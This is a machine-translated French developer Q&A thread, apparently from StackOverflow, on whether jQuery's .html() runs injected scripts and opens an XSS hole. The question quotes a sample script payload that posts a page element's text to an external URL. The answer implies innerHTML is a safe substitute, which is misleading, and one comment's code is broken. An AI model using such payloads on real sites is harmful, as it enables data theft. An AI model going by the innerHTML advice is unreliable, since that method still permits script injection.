2012-08-17 2 views
1

Possible en double:
html() vs innerHTML jquery/javascript & XSS attacksEst-ce que jQuery.html() est dangereux?

est jQuery.html() dangereux?

$("#id").html("<span>"+ variable + "</span>"); 

Comme dans l'exemple ci-dessus, si la variable aurait la valeur suivante:

"<script> $.post("external_url.php", {sesitivedata= $("#someElement").text()}, function() {}) </script>" 

sera exécuté le script? Si oui est-il possible de permettre à la variable de contenir des balises html normales mais pas des scripts?

Edit: balise script Ajouté à la chaîne

+2

Avez-vous essayé? Qu'est-il arrivé? – epascarello

+1

'$ .html()' n'effectue pas 'eval'. Le 'eval' serait nécessaire pour déclencher l'exécution du script. – Ohgodwhy

+1

@Ohgodwhy Vous avez tort. C'est trivialement facile à tester. Ouvrez votre console de développeur et exécutez '$ ('body div: last'). Html ($ (")); ' – meagar

Répondre

3

Oui, sera exécuté ce script.

http://jsfiddle.net/9ybUJ/2/

Le .html() semble implicitement pour tous les éléments de script et evals eux. Ceci est l'opposé de .innerHTML qui n'exécute jamais de scripts à l'intérieur du code HTML.

+0

D'accord, mais comment empêcher l'exécution de scripts? Vous voulez dire .innerHTML la propriété dom réelle? alors $ (element) .attr ("innerHTML", variable)? – Hoffmann

+0

@Hoffmann Je veux dire la propriété. '$ (élément) .prop (" innerHTML ", html)' ou 'element.innerHTML = html' – Esailija